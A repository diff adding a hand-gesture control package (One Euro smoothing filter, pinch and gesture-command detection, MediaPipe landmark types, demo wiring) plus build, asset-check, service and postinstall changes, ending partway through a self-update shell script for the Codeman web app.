+// Heavy smoothing when the value is still (kills jitter), low lag when it moves
+// fast. The correct tool for raw landmark streams, which jitter several pixels
+// even when the hand is held still.
+//
+// Reference: Casiez, Roussel, Vogel — "1€ Filter" (CHI 2012),
+// http://cristal.univ-lille.fr/~casiez/1euro/
+//
+// One filter handles a single scalar; use one instance per axis (x, y).
+
+/** Smoothing factor for a low-pass step given a cutoff (Hz) and timestep (s). */
+function smoothingAlpha(cutoffHz: number, dtSec: number): number {
+  const tau = 1 / (2 * Math.PI * cutoffHz);
+  return 1 / (1 + tau / dtSec);
+}
+
+/** Exponential low-pass that remembers its last output. */
+class LowPass {
+  private value: number | null = null;
+
+  filter(x: number, alpha: number): number {
+    this.value = this.value === null ? x : alpha * x + (1 - alpha) * this.value;
+    return this.value;
+  }
+
+  reset(): void {
+    this.value = null;
+  }
+
+  get initialized(): boolean {
+    return this.value !== null;
+  }
+}
+
+export class OneEuroFilter {
+  private readonly signal = new LowPass();
+  private readonly derivative = new LowPass();
+  private lastTimeSec: number | null = null;
+  private lastRaw = 0;
+
+  /**
+   * @param minCutoff Baseline cutoff (Hz). Lower → smoother but laggier when still.
+   * @param beta      Speed coefficient. Higher → less lag during fast moves.
+   * @param dCutoff   Cutoff for the derivative low-pass (Hz). 1.0 is fine.
+   */
+  constructor(
+    private minCutoff = 1.0,
+    private beta = 0.01,
+    private dCutoff = 1.0
+  ) {}
+
+  reset(): void {
+    this.signal.reset();
+    this.derivative.reset();
+    this.lastTimeSec = null;
+    this.lastRaw = 0;
+  }
+
+  /** @param timeSec strictly-increasing timestamp in seconds. */
+  filter(x: number, timeSec: number): number {
+    let dt = this.lastTimeSec === null ? 1 / 60 : timeSec - this.lastTimeSec;
+    if (dt <= 0) dt = 1 / 60;
+    this.lastTimeSec = timeSec;
+
+    // Rate of change, itself low-passed, drives the adaptive cutoff.
+    const dRaw = this.signal.initialized ? (x - this.lastRaw) / dt : 0;
+    this.lastRaw = x;
+    const edRaw = this.derivative.filter(dRaw, smoothingAlpha(this.dCutoff, dt));
+
+    const cutoff = this.minCutoff + this.beta * Math.abs(edRaw);
+    return this.signal.filter(x, smoothingAlpha(cutoff, dt));
+  }
+}

packages/gesture-control/src/gesture/commands.ts

@@ -0,0 +1,78 @@
+// Discrete gesture → command detection.
+//
+// Maps the recognizer's canned gesture categories onto Codeman commands, with
+// debouncing so each command fires once per gesture *entry* (not every frame
+// while it's held). Open_Palm is special: it must be held continuously for
+// `palmHoldMs` before firing halt-all — a dead-man's-switch that's hard to
+// trigger by accident, since pausing every session is a big hammer.
+
+import type { CommandName } from './types.ts';
+
+interface CommandSpec {
+  name: CommandName;
+  /** If set, the gesture must be held this long (ms) before it fires. */
+  holdMs?: number;
+}
+
+/** MediaPipe canned gesture category → command. */
+const GESTURE_COMMANDS: Record<string, CommandSpec> = {
+  Open_Palm: { name: 'halt-all', holdMs: -1 }, // holdMs filled from palmHoldMs
+  Thumb_Up: { name: 'approve' },
+  Victory: { name: 'new-session' },
+};
+
+export class CommandDetector {
+  /** gesture category → timestamp (ms) it was first seen in the current hold. */
+  private heldSince = new Map<string, number>();
+  /** gestures that already fired during the current hold (cleared on release). */
+  private fired = new Set<string>();
+
+  constructor(private palmHoldMs = 1000) {}
+
+  reset(): void {
+    this.heldSince.clear();
+    this.fired.clear();
+  }
+
+  private holdMsFor(spec: CommandSpec): number {
+    return spec.holdMs === -1 ? this.palmHoldMs : (spec.holdMs ?? 0);
+  }
+
+  /**
+   * Feed the set of command-gestures currently shown (across all hands).
+   * @returns the commands that fired on this frame (usually empty).
+   */
+  update(gestures: Set<string>, nowMs: number): CommandName[] {
+    // Forget gestures no longer held, so they can re-fire on the next entry.
+    for (const g of [...this.heldSince.keys()]) {
+      if (!gestures.has(g)) {
+        this.heldSince.delete(g);
+        this.fired.delete(g);
+      }
+    }
+
+    const fired: CommandName[] = [];
+    for (const g of gestures) {
+      const spec = GESTURE_COMMANDS[g];
+      if (!spec) continue;
+
+      const since = this.heldSince.get(g) ?? nowMs;
+      if (!this.heldSince.has(g)) this.heldSince.set(g, since);
+      if (this.fired.has(g)) continue;
+
+      if (nowMs - since >= this.holdMsFor(spec)) {
+        fired.push(spec.name);
+        this.fired.add(g);
+      }
+    }
+    return fired;
+  }
+
+  /** 0–1 charge of the held halt-all gesture (1 once fired, 0 when released). */
+  haltProgress(nowMs: number): number {
+    const since = this.heldSince.get('Open_Palm');
+    if (since === undefined) return 0;
+    if (this.fired.has('Open_Palm')) return 1;
+    return Math.min(1, (nowMs - since) / this.palmHoldMs);
+  }
+}

packages/gesture-control/src/gesture/landmarks.ts

@@ -0,0 +1,78 @@
+// MediaPipe hand landmark indices and the bone connections between them.
+// See: https://developers.google.com/mediapipe/solutions/vision/hand_landmarker
+//
+// 21 landmarks per hand, each normalized to [0,1] in image space.
+
+export const LANDMARK = {
+  WRIST: 0,
+  THUMB_CMC: 1,
+  THUMB_MCP: 2,
+  THUMB_IP: 3,
+  THUMB_TIP: 4,
+  INDEX_MCP: 5,
+  INDEX_PIP: 6,
+  INDEX_DIP: 7,
+  INDEX_TIP: 8,
+  MIDDLE_MCP: 9,
+  MIDDLE_PIP: 10,
+  MIDDLE_DIP: 11,
+  MIDDLE_TIP: 12,
+  RING_MCP: 13,
+  RING_PIP: 14,
+  RING_DIP: 15,
+  RING_TIP: 16,
+  PINKY_MCP: 17,
+  PINKY_PIP: 18,
+  PINKY_DIP: 19,
+  PINKY_TIP: 20,
+} as const;
+
+/** Pairs of landmark indices that form the hand skeleton, for overlay drawing. */
+export const HAND_CONNECTIONS: ReadonlyArray<readonly [number, number]> = [
+  // Thumb
+  [0, 1],
+  [1, 2],
+  [2, 3],
+  [3, 4],
+  // Index
+  [0, 5],
+  [5, 6],
+  [6, 7],
+  [7, 8],
+  // Middle
+  [5, 9],
+  [9, 10],
+  [10, 11],
+  [11, 12],
+  // Ring
+  [9, 13],
+  [13, 14],
+  [14, 15],
+  [15, 16],
+  // Pinky
+  [13, 17],
+  [17, 18],
+  [18, 19],
+  [19, 20],
+  // Palm base
+  [0, 17],
+];
+
+export interface NormalizedLandmark {
+  x: number;
+  y: number;
+  z: number;
+  visibility?: number;
+}
+
+/** Euclidean distance between two normalized landmarks (x/y plane). */
+export function dist2d(a: NormalizedLandmark, b: NormalizedLandmark): number {
+  const dx = a.x - b.x;
+  const dy = a.y - b.y;
+  return Math.hypot(dx, dy);
+}
+
+/** Midpoint of two normalized landmarks (x/y plane). */
+export function midpoint(a: NormalizedLandmark, b: NormalizedLandmark): { x: number; y: number } {
+  return { x: (a.x + b.x) / 2, y: (a.y + b.y) / 2 };
+}

packages/gesture-control/src/gesture/pinch.ts

@@ -0,0 +1,67 @@
+// Pinch detection from hand landmarks.
+//
+// Distance between thumb tip (4) and index tip (8), normalized by hand size
+// (wrist 0 → middle-finger MCP 9) so the threshold is robust to how close the
+// hand is to the camera. Hysteresis + N-frame persistence keep the grab/release
+// edge from flickering — critical for not "dropping" a tab mid-drag.
+
+import { LANDMARK, dist2d, type NormalizedLandmark } from './landmarks.ts';
+
+/**
+ * Thumb-tip→index-tip distance as a fraction of hand size. Smaller = more
+ * pinched. Roughly in [0, ~1.5]; ~0.35 is a firm pinch, ~0.5+ is open.
+ */
+export function pinchDistance(landmarks: NormalizedLandmark[]): number {
+  const thumb = landmarks[LANDMARK.THUMB_TIP];
+  const index = landmarks[LANDMARK.INDEX_TIP];
+  const wrist = landmarks[LANDMARK.WRIST];
+  const middleMcp = landmarks[LANDMARK.MIDDLE_MCP];
+  const handSize = dist2d(wrist, middleMcp) || 1e-6;
+  return dist2d(thumb, index) / handSize;
+}
+
+/**
+ * Tracks pinch state with two thresholds (hysteresis) and a persistence count.
+ * Enter a pinch below `onThreshold`; leave it only above `offThreshold`
+ * (offThreshold > onThreshold). A flip must hold for `persistFrames` frames
+ * before it commits, rejecting single-frame noise.
+ */
+export class PinchDetector {
+  private pinching = false;
+  private pendingFrames = 0;
+
+  constructor(
+    private onThreshold = 0.35,
+    private offThreshold = 0.5,
+    private persistFrames = 2
+  ) {}
+
+  reset(): void {
+    this.pinching = false;
+    this.pendingFrames = 0;
+  }
+
+  get isPinching(): boolean {
+    return this.pinching;
+  }
+
+  /** Feed one frame's distance. Returns true if the committed state CHANGED. */
+  update(distance: number): boolean {
+    const target = this.pinching
+      ? distance < this.offThreshold // stay pinched until the hand opens wide
+      : distance < this.onThreshold; // start pinching once fingers close
+
+    if (target === this.pinching) {
+      this.pendingFrames = 0;
+      return false;
+    }
+
+    this.pendingFrames += 1;
+    if (this.pendingFrames >= this.persistFrames) {
+      this.pinching = target;
+      this.pendingFrames = 0;
+      return true;
+    }
+    return false;
+  }
+}

packages/gesture-control/src/gesture/types.ts

@@ -0,0 +1,80 @@
+// Shared types for the gesture input layer.
+//
+// Phase 0/1 scope: only `status` and `results` (debug) events are emitted yet.
+// The semantic events (hover/grab/drag/drop/command) are declared here so the
+// public API shape is stable, but they are wired in later phases.
+
+import type { GestureRecognizerResult } from '@mediapipe/tasks-vision';
+
+export interface GestureControllerOptions {
+  /** The <video> element the camera stream is attached to. */
+  video: HTMLVideoElement;
+  /** Element whose bounding rect normalized coords are mapped against. Defaults to video. (Used from Phase 2.) */
+  surface?: HTMLElement;
+  /** Number of hands to track. v1 = 1. */
+  numHands?: number;
+  /** Pinch hysteresis thresholds (fractions of hand-size). Used from Phase 2. */
+  pinchOn?: number;
+  pinchOff?: number;
+  /** One-Euro cursor smoothing. Lower minCutoff = smoother/laggier when still;
+   *  higher beta = less lag during fast moves. Used from Phase 2. */
+  minCutoff?: number;
+  beta?: number;
+  /** How long Open_Palm must be held to fire halt-all. Used from Phase 4. */
+  palmHoldMs?: number;
+  /** Specific camera to open (from enumerateDevices). Empty = default facingMode "user". */
+  deviceId?: string;
+  /** MediaPipe detection/tracking confidence. */
+  minDetectionConfidence?: number;
+  minTrackingConfidence?: number;
+  /** CDN base used to load the wasm fileset + .task model. */
+  wasmBase?: string;
+  modelUrl?: string;
+}
+
+export type CommandName = 'halt-all' | 'approve' | 'new-session';
+
+/** Per-hand state for the current frame. */
+export interface HandState {
+  /** "Left" / "Right" as reported by MediaPipe (image-space). Used to key filters. */
+  handedness: string;
+  /** Smoothed cursor in raw (unmirrored) normalized [0,1] coords; consumers mirror X. */
+  cursor: { x: number; y: number };
+  /** Thumb/index distance as a fraction of hand size. */
+  pinchDist: number;
+  /** Whether this hand is currently pinching (after hysteresis). */
+  pinching: boolean;
+  /** Top gesture category for this hand, if any. */
+  gesture: string | null;
+}
+
+/** A pointer sample for one hand, in surface pixel coords (origin = surface
+ *  top-left, X already mirrored to match the displayed video). */
+export interface HandPointer {
+  hand: string;
+  x: number;
+  y: number;
+}
+
+/** Payloads emitted per event name. */
+export interface GestureEventMap {
+  /** Pinch just closed — start of a drag. */
+  grab: HandPointer;
+  /** Cursor moved while pinched — emitted every frame during a drag. */
+  drag: HandPointer;
+  /** Pinch released (or the hand vanished mid-pinch) — end of a drag. */
+  drop: HandPointer;
+  command: { name: CommandName };
+  status: {
+    fps: number;
+    /** One entry per detected hand (0–`numHands`). */
+    hands: HandState[];
+    /** 0–1 charge of the held Open_Palm halt-all gesture (Phase 4). */
+    haltProgress: number;
+  };
+  /** Debug-only: the raw recognizer result for the current frame (drives the overlay). */
+  results: { result: GestureRecognizerResult; timestampMs: number };
+}
+
+export type GestureEventName = keyof GestureEventMap;
+export type GestureEventHandler<K extends GestureEventName> = (payload: GestureEventMap[K]) => void;

packages/gesture-control/src/main.ts

@@ -0,0 +1,188 @@
+// Phase 3 demo wiring.
+//
+// - Start button (camera requires a user gesture) + live camera picker.
+// - Mirrored video preview + debug overlay (skeleton + per-hand cursors).
+// - Live HUD: fps / hands / pinch distance / gesture.
+// - Tab board: pinch-drag session tabs between Screen columns.
+
+import { GestureController } from './gesture/GestureController.ts';
+import { Overlay, type CursorMark } from './demo/overlay.ts';
+import { TabsBoard } from './demo/tabs.ts';
+import type { HandState } from './gesture/types.ts';
+
+// Cyan for the left hand, violet for the right; green takes over while pinching.
+const handColor = (handedness: string): string => (handedness === 'Right' ? '#a78bfa' : '#38bdf8');
+
+const video = document.getElementById('cam') as HTMLVideoElement;
+const canvas = document.getElementById('overlay') as HTMLCanvasElement;
+const stage = document.getElementById('stage') as HTMLDivElement;
+const boardEl = document.getElementById('board') as HTMLDivElement;
+const startBtn = document.getElementById('start') as HTMLButtonElement;
+const stopBtn = document.getElementById('stop') as HTMLButtonElement;
+const fullscreenBtn = document.getElementById('fullscreen') as HTMLButtonElement;
+const cameraSel = document.getElementById('camera') as HTMLSelectElement;
+const fpsEl = document.getElementById('fps') as HTMLSpanElement;
+const handEl = document.getElementById('hand') as HTMLSpanElement;
+const pinchEl = document.getElementById('pinch') as HTMLSpanElement;
+const gestureEl = document.getElementById('gesture') as HTMLSpanElement;
+const statusEl = document.getElementById('status-msg') as HTMLParagraphElement;
+
+const overlay = new Overlay(canvas, video);
+// Coords map against the stage rect (the board overlays it exactly).
+const gc = new GestureController({ video, surface: stage, numHands: 2 });
+
+const board = new TabsBoard(boardEl, (tabId, columnId) => {
+  statusEl.textContent = columnId
+    ? `Moved “${tabId}” → ${columnId}`
+    : `“${tabId}” dropped outside a column — returned.`;
+});
+
+// The board drives off discrete grab/drag/drop; hover highlight off `status`.
+gc.on('grab', ({ hand, x, y }) => board.grab(hand, x, y));
+gc.on('drag', ({ hand, x, y }) => board.drag(hand, x, y));
+gc.on('drop', ({ hand, x, y }) => board.drop(hand, x, y));
+
+// Discrete gesture commands (halt-all / approve / new-session) are intentionally
+// not wired up here — this build is pinch-drag only. The controller still emits
+// `command`/`haltProgress`, but nothing consumes them, so an open palm, thumb,
+// or victory sign does nothing.
+
+// Cached from `status` so the `results` handler draws the same frame's cursors.
+let cursors: CursorMark[] = [];
+let started = false;
+
+gc.on('results', ({ result }) => {
+  overlay.draw(result, cursors);
+});
+
+gc.on('status', ({ fps, hands }) => {
+  cursors = hands.map((h) => ({
+    x: h.cursor.x,
+    y: h.cursor.y,
+    color: handColor(h.handedness),
+    pinching: h.pinching,
+  }));
+
+  // Hover highlights from the full per-frame snapshot (surface px, X mirrored).
+  const rect = stage.getBoundingClientRect();
+  board.hover(
+    hands.map((h) => ({
+      x: (1 - h.cursor.x) * rect.width,
+      y: h.cursor.y * rect.height,
+      pinching: h.pinching,
+    }))
+  );
+
+  fpsEl.textContent = String(fps);
+  fpsEl.style.color = fps >= 25 ? '#4ade80' : fps > 0 ? '#fbbf24' : '#f87171';
+
+  const anyPinching = hands.some((h) => h.pinching);
+  handEl.textContent = hands.length ? hands.map((h) => h.handedness).join(' + ') : 'no';
+  handEl.style.color = hands.length ? '#4ade80' : '#94a3b8';
+  pinchEl.textContent = hands.length ? hands.map(pinchLabel).join('  ') : '—';
+  pinchEl.style.color = anyPinching ? '#4ade80' : '#94a3b8';
+  gestureEl.textContent =
+    hands
+      .filter((h) => h.gesture)
+      .map((h) => h.gesture)
+      .join(', ') || '—';
+});
+
+/** e.g. "L 0.34●" — first letter of handedness, distance, dot when pinching. */
+function pinchLabel(h: HandState): string {
+  return `${h.handedness[0]} ${h.pinchDist.toFixed(2)}${h.pinching ? '●' : ''}`;
+}
+
+startBtn.addEventListener('click', async () => {
+  startBtn.disabled = true;
+  statusEl.textContent = 'Requesting camera + loading model…';
+  try {
+    await gc.start();
+    started = true;
+    statusEl.textContent = 'Running. Pinch-drag tabs between Screens.';
+    stopBtn.disabled = false;
+    await populateCameras();
+  } catch (err) {
+    console.error(err);
+    statusEl.textContent = `Failed to start: ${(err as Error).message}`;
+    startBtn.disabled = false;
+  }
+});
+
+stopBtn.addEventListener('click', () => {
+  gc.stop();
+  started = false;
+  overlay.clear();
+  board.hover([]);
+  cursors = [];
+  statusEl.textContent = 'Stopped.';
+  startBtn.disabled = false;
+  stopBtn.disabled = true;
+  cameraSel.disabled = true;
+  fpsEl.textContent = '0';
+  handEl.textContent = 'no';
+  pinchEl.textContent = '—';
+  gestureEl.textContent = '—';
+});
+
+// Switch cameras live. On macOS the iPhone (Continuity Camera) shows up as
+// "iPhone Camera" plus a separate "Desk View Camera" (the ultra-wide lens).
+cameraSel.addEventListener('change', async () => {
+  statusEl.textContent = `Switching to ${cameraSel.selectedOptions[0]?.text}…`;
+  try {
+    await gc.useCamera(cameraSel.value);
+    statusEl.textContent = 'Running.';
+    // Activating the iPhone can surface its Desk View device — re-check.
+    await populateCameras();
+  } catch (err) {
+    console.error(err);
+    statusEl.textContent = `Couldn't switch camera: ${(err as Error).message}`;
+  }
+});
+
+// Cameras come and go (iPhone mounted/unmounted, Desk View appearing). Keep
+// the dropdown in sync whenever the device set changes.
+navigator.mediaDevices?.addEventListener('devicechange', () => {
+  if (started) void populateCameras();
+});
+
+// Fullscreen the stage so the board (and grab targets) fill the display.
+// Standard API with a webkit fallback for Safari.
+type WebkitEl = HTMLElement & { webkitRequestFullscreen?: () => Promise<void> };
+type WebkitDoc = Document & {
+  webkitFullscreenElement?: Element | null;
+  webkitExitFullscreen?: () => Promise<void>;
+};
+
+function fullscreenElement(): Element | null {
+  return document.fullscreenElement ?? (document as WebkitDoc).webkitFullscreenElement ?? null;
+}
+
+fullscreenBtn.addEventListener('click', () => {
+  if (fullscreenElement()) {
+    (document.exitFullscreen ?? (document as WebkitDoc).webkitExitFullscreen)?.call(document);
+  } else {
+    const el = stage as WebkitEl;
+    (el.requestFullscreen ?? el.webkitRequestFullscreen)?.call(el);
+  }
+});
+
+function syncFullscreenLabel(): void {
+  fullscreenBtn.textContent = fullscreenElement() ? '⤢ Exit fullscreen' : '⛶ Fullscreen';
+}
+document.addEventListener('fullscreenchange', syncFullscreenLabel);
+document.addEventListener('webkitfullscreenchange', syncFullscreenLabel);
+
+/** Fill the camera dropdown; labels appear only after camera permission. */
+async function populateCameras(): Promise<void> {
+  const cams = await gc.listCameras();
+  cameraSel.innerHTML = '';
+  cams.forEach((cam, i) => {
+    const opt = document.createElement('option');
+    opt.value = cam.deviceId;
+    opt.text = cam.label || `Camera ${i + 1}`;
+    if (cam.deviceId === gc.deviceId) opt.selected = true;
+    cameraSel.append(opt);
+  });
+  cameraSel.disabled = cams.length < 2;
+}

packages/gesture-control/tsconfig.json

@@ -0,0 +1,22 @@
+{
+  "compilerOptions": {
+    "target": "ES2020",
+    "useDefineForClassFields": true,
+    "module": "ESNext",
+    "lib": ["ES2020", "DOM", "DOM.Iterable"],
+    "skipLibCheck": true,
+
+    "moduleResolution": "bundler",
+    "allowImportingTsExtensions": true,
+    "resolveJsonModule": true,
+    "isolatedModules": true,
+    "moduleDetection": "force",
+    "noEmit": true,
+
+    "strict": true,
+    "noUnusedLocals": true,
+    "noUnusedParameters": true,
+    "noFallthroughCasesInSwitch": true
+  },
+  "include": ["src"]
+}

packages/gesture-control/vite.config.ts

@@ -0,0 +1,12 @@
+import { defineConfig } from 'vite';
+
+// getUserMedia requires a secure context. http://localhost counts as secure,
+// so the dev server below is fine. If you serve to another device, use https.
+export default defineConfig({
+  root: '.',
+  server: {
+    host: 'localhost',
+    port: 5173,
+    open: true,
+  },
+});

packages/xterm-zerolag-input/package.json

@@ -45,6 +45,6 @@
     "jsdom": "^24.1.3",
     "tsup": "^8.5.1",
     "typescript": "^5.5.0",
-    "vitest": "^2.1.9"
+    "vitest": "^4.1.8"
   }
 }

scripts/build-gesture-bundle.mjs

@@ -0,0 +1,52 @@
+#!/usr/bin/env node
+/**
+ * @fileoverview Build the opt-in gesture-overlay bundle from its vendored source
+ * in `packages/gesture-control/` into the web bundle Codeman actually serves,
+ * `src/web/public/gesture/gesture-codeman.js`.
+ *
+ * The source lives in this repo (workspace package `codeman-gesture-control`,
+ * was the standalone `Ark0N/codeman-gesture-control` repo before it was vendored
+ * in). `src/codeman/entry.ts` is the Codeman *consumer* entry — it imports the
+ * transport-agnostic gesture core (`src/gesture/*`) and maps grab/drag/drop onto
+ * Codeman's real session tabs + toolbar buttons. esbuild bundles it (MediaPipe
+ * tasks-vision JS included) into a single ESM file; the MediaPipe wasm + model
+ * are loaded at runtime from same-origin `/gesture/wasm` + `/gesture/*.task`
+ * (fetched separately by scripts/fetch-gesture-assets.mjs), NOT bundled here.
+ *
+ * Run it after editing anything under packages/gesture-control/src/ and commit
+ * the regenerated bundle (the committed copy is what `npm run dev` / tsx serves,
+ * since the web UI ships as plain JS with no bundler). `npm run build` also runs
+ * this so a production build always reflects the current source.
+ *
+ * Usage: node scripts/build-gesture-bundle.mjs [--out <path>]
+ *   --out  output file (default src/web/public/gesture/gesture-codeman.js)
+ *
+ * NOT minified — matches the historical bundle and keeps it debuggable; the
+ * build's compress step gzips/brotlis it for production anyway.
+ */
+import { build } from 'esbuild';
+import { fileURLToPath } from 'node:url';
+import { join, dirname, isAbsolute } from 'node:path';
+
+const ROOT = join(dirname(fileURLToPath(import.meta.url)), '..');
+const ENTRY = join(ROOT, 'packages/gesture-control/src/codeman/entry.ts');
+const DEFAULT_OUT = join(ROOT, 'src/web/public/gesture/gesture-codeman.js');
+
+const outArg = process.argv[process.argv.indexOf('--out') + 1];
+const outfile =
+  process.argv.includes('--out') && outArg
+    ? isAbsolute(outArg)
+      ? outArg
+      : join(process.cwd(), outArg)
+    : DEFAULT_OUT;
+
+await build({
+  entryPoints: [ENTRY],
+  bundle: true,
+  format: 'esm',
+  target: 'es2020',
+  outfile,
+  logLevel: 'info',
+});
+
+console.log(`[gesture] bundle built → ${outfile}`);

scripts/build.mjs

@@ -35,6 +35,9 @@ run('prepare dirs', 'mkdir -p dist/web dist/templates dist/web/public/vendor');
 // Fetch the opt-in gesture overlay's MediaPipe wasm + model into src/ (idempotent,
 // non-fatal, kept out of git) so the copy below carries them into dist/.
 run('gesture assets', 'node scripts/fetch-gesture-assets.mjs');
+// Rebuild the gesture overlay bundle from its vendored source (packages/gesture-control)
+// into src/web/public/gesture/gesture-codeman.js, so prod always reflects current source.
+run('gesture bundle', 'node scripts/build-gesture-bundle.mjs');
 run('copy web assets', 'cp -r src/web/public dist/web/');
 run('copy template', 'cp src/templates/case-template.md dist/templates/');
 

scripts/check-public-assets.mjs

@@ -0,0 +1,66 @@
+#!/usr/bin/env node
+
+import { execFileSync } from 'node:child_process';
+import { readdirSync, readFileSync } from 'node:fs';
+import { dirname, extname, join, relative, resolve } from 'node:path';
+import { fileURLToPath } from 'node:url';
+
+const repoRoot = resolve(dirname(fileURLToPath(import.meta.url)), '..');
+const publicRoot = resolve(repoRoot, 'src/web/public');
+const prettierBin = resolve(repoRoot, 'node_modules/.bin/prettier');
+const checkedExtensions = new Set(['.js', '.css', '.html', '.json']);
+
+function collectTextAssets(dir) {
+  const files = [];
+  for (const entry of readdirSync(dir, { withFileTypes: true })) {
+    const fullPath = join(dir, entry.name);
+    if (entry.isDirectory()) {
+      files.push(...collectTextAssets(fullPath));
+      continue;
+    }
+    if (checkedExtensions.has(extname(entry.name))) {
+      files.push(fullPath);
+    }
+  }
+  return files;
+}
+
+function findNullByte(buffer) {
+  for (let i = 0; i < buffer.length; i += 1) {
+    if (buffer[i] === 0) return i;
+  }
+  return -1;
+}
+
+const files = collectTextAssets(publicRoot);
+const failures = [];
+
+for (const file of files) {
+  const rel = relative(repoRoot, file);
+  const data = readFileSync(file);
+  const nullByteIndex = findNullByte(data);
+  if (nullByteIndex !== -1) {
+    failures.push(`${rel}: contains literal NUL byte at offset ${nullByteIndex}`);
+  }
+
+  if (extname(file) === '.js') {
+    try {
+      execFileSync(process.execPath, ['--check', file], { cwd: repoRoot, stdio: 'pipe' });
+    } catch (err) {
+      failures.push(`${rel}: JavaScript syntax check failed\n${String(err.stderr || err.message).trim()}`);
+    }
+  }
+}
+
+try {
+  execFileSync(prettierBin, ['--check', ...files], { cwd: repoRoot, stdio: 'pipe' });
+} catch (err) {
+  failures.push(`Prettier public asset check failed\n${String(err.stdout || err.stderr || err.message).trim()}`);
+}
+
+if (failures.length > 0) {
+  console.error(failures.join('\n\n'));
+  process.exit(1);
+}
+
+console.log(`Public asset checks passed (${files.length} files).`);

scripts/codeman-web.service

@@ -12,10 +12,14 @@ KillMode=process
 Environment=NODE_ENV=production
 Environment=HOME=/home/arkon
 Environment=NODE_COMPILE_CACHE=/home/arkon/.codeman/compile-cache
-# Make the gesture-control overlay AVAILABLE (CSP widening + /gesture/ assets +
-# window.__codemanGestureAvailable). The actual on/off stays the per-user
-# `gestureControlEnabled` toggle in App Settings → Display → Input (default OFF).
+# Loopback bind (default, no --host) + no password: safe out of the box. Hooks
+# reach 127.0.0.1, and `tailscale serve` fronts it on the tailnet only (real
+# cert, no LAN exposure, no app login). To expose on the LAN instead, add
+# Environment=CODEMAN_HOST=0.0.0.0 + Environment=CODEMAN_PASSWORD=... .
+# See docs/security-architecture.md.
 Environment=CODEMAN_GESTURE=1
+# ^ Makes the gesture-control overlay AVAILABLE (CSP widening + /gesture/ assets);
+#   the actual on/off stays the per-user App Settings toggle (default OFF).
 
 # Logging
 StandardOutput=journal

scripts/postinstall.js

@@ -460,3 +460,16 @@ if (process.env.CI || process.env.CODEMAN_NO_AUTOSTART) {
         }
     }
 }
+
+// ----------------------------------------------------------------------------
+// Security note — printed on every install path
+// ----------------------------------------------------------------------------
+
+console.log(colors.bold('Security:'));
+console.log(colors.dim('  Codeman binds ') + colors.cyan('127.0.0.1') + colors.dim(' (this machine only) — no password needed by default.'));
+console.log(colors.dim('  To reach it from another device, do ONE of:'));
+console.log(colors.dim('    • ') + colors.cyan('tailscale serve') + colors.dim(' / ') + colors.cyan('cloudflared tunnel') + colors.dim('   (recommended), or'));
+console.log(colors.dim('    • ') + colors.cyan('codeman web --host 0.0.0.0') + colors.dim('  AND set ') + colors.cyan('CODEMAN_PASSWORD'));
+console.log(colors.dim('  A non-loopback bind without a password still starts, but warns loudly.'));
+console.log(colors.dim('  Details: docs/security-architecture.md'));
+console.log('');

scripts/self-update.sh

@@ -0,0 +1,210 @@
+#!/usr/bin/env bash
+#
+# self-update.sh — apply a Codeman release update from inside the running app.
+#
+# Spawned DETACHED by the web server (POST /api/system/update → src/web/self-update.ts).
+# It outlives the service restart it triggers, so it MUST run from a copy OUTSIDE
+# the repo (the server stages it at ~/.codeman/self-update-runner.sh) — `git
+# checkout` rewrites the in-repo copy and bash reads scripts lazily.
+#
+# Reports progress by writing ~/.codeman/update-status.json atomically; the
+# browser polls GET /api/system/update/status across the restart drop. The
+# freshly-booted server reconciles the final "restarting" → "completed"/"failed".
+#
+# Cross-platform: restarts via systemd (Linux), launchd (macOS), or prints a
+# manual command (foreground installs). Linux launches inside a transient
+# systemd scope so `systemctl restart codeman-web` can't kill it mid-build.
+#
+# Args (all from the server, never user input — tag is validated server-side):
+#   --repo <dir> --tag <codeman@X.Y.Z> --supervisor <systemd|launchd|none>
+#   --status-file <path> --update-id <uuid> --from-version <ver> --node <path>
+#   --log <path> [--prev-sha <sha>] [--stash]
+#
+set -uo pipefail
+
+# puppeteer is a devDependency (scripts/browser-comparison.mjs only) — its chrome
+# download is never needed to build or run Codeman, and a corrupt prior download
+# (folder present, executable missing) makes `npm install` fail fatally. Skip it
+# for every npm install below (initial install + rollback). Caller can override.
+export PUPPETEER_SKIP_DOWNLOAD="${PUPPETEER_SKIP_DOWNLOAD:-1}"
+
+REPO=""
+TAG=""
+SUPERVISOR="none"
+STATUS_FILE=""
+UPDATE_ID=""
+FROM_VERSION=""
+NODE="node"
+LOG="/dev/null"
+PREV_SHA=""
+DO_STASH=0
+
+while [[ $# -gt 0 ]]; do
+  case "$1" in
+    --repo) REPO="$2"; shift 2 ;;
+    --tag) TAG="$2"; shift 2 ;;
+    --supervisor) SUPERVISOR="$2"; shift 2 ;;
+    --status-file) STATUS_FILE="$2"; shift 2 ;;
+    --update-id) UPDATE_ID="$2"; shift 2 ;;
+    --from-version) FROM_VERSION="$2"; shift 2 ;;
+    --node) NODE="$2"; shift 2 ;;
+    --log) LOG="$2"; shift 2 ;;
+    --prev-sha) PREV_SHA="$2"; shift 2 ;;
+    --stash) DO_STASH=1; shift ;;
+    *) shift ;;
+  esac
+done
+
+# All output → the log file (the process is detached, no tty).
+exec >>"$LOG" 2>&1 || true
+echo "[self-update] $(date) start tag=$TAG supervisor=$SUPERVISOR repo=$REPO"
+
+# Make node/npm/git reachable regardless of the (possibly minimal) service env.
+export PATH="$(dirname "$NODE"):$HOME/.local/bin:$HOME/.npm-global/bin:/usr/local/bin:/opt/homebrew/bin:$PATH"
+export GIT_TERMINAL_PROMPT=0
+
+TO_VERSION="${TAG##*@}"   # codeman@0.9.4 → 0.9.4 (tag is validated upstream)
+STASH_REF=""
+MANUAL_CMD=""
+
+# Write the status file atomically via node (valid JSON, preserves startedAt).
+write_status() {
+  local phase="$1" message="$2" err="${3:-}"
+  STATUS_FILE="$STATUS_FILE" UPDATE_ID="$UPDATE_ID" PHASE="$phase" MESSAGE="$message" \
+  FROM_VERSION="$FROM_VERSION" TO_VERSION="$TO_VERSION" TO_TAG="$TAG" PREV_SHA="$PREV_SHA" \
+  STASH_REF="$STASH_REF" SUPERVISOR="$SUPERVISOR" ERROR="$err" MANUAL_CMD="$MANUAL_CMD" \
+  "$NODE" -e '
+    const fs = require("fs");
+    const f = process.env.STATUS_FILE;
+    let started = 0;
+    try { const cur = JSON.parse(fs.readFileSync(f, "utf8")); if (cur && cur.startedAt) started = cur.startedAt; } catch {}
+    const s = {
+      updateId: process.env.UPDATE_ID,
+      phase: process.env.PHASE,
+      message: process.env.MESSAGE,
+      fromVersion: process.env.FROM_VERSION,
+      startedAt: started,
+      updatedAt: Date.now(),
+    };
+    if (process.env.TO_VERSION) s.toVersion = process.env.TO_VERSION;
